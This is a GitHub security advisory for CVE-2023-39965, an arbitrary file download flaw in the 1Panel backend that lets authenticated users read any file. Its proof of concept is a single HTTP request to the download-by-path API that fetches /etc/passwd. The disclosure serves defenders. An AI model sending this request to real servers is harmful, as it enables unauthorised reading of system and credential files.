1panel-dev/1panel · Security
1Panel Arbitrary File Download vulnerability
- GHSA ID
- GHSA-85cf-gj29-f555
- CVE ID
- CVE-2023-39965
- Severity
- medium
- Published
- Updated
- CVSS
- 6.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- CVSS v3
- 6.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Description
Summary
Any file downloading vulnerability exists in 1Panel backend.
Details
Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.
PoC
payload:
POST /api/v1/files/download/bypath HTTP/1.1 Host: ip Content-Type: application/json
{"path":"/etc/passwd"}
Impact
Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.
CWEs
- CWE-863 · Incorrect Authorization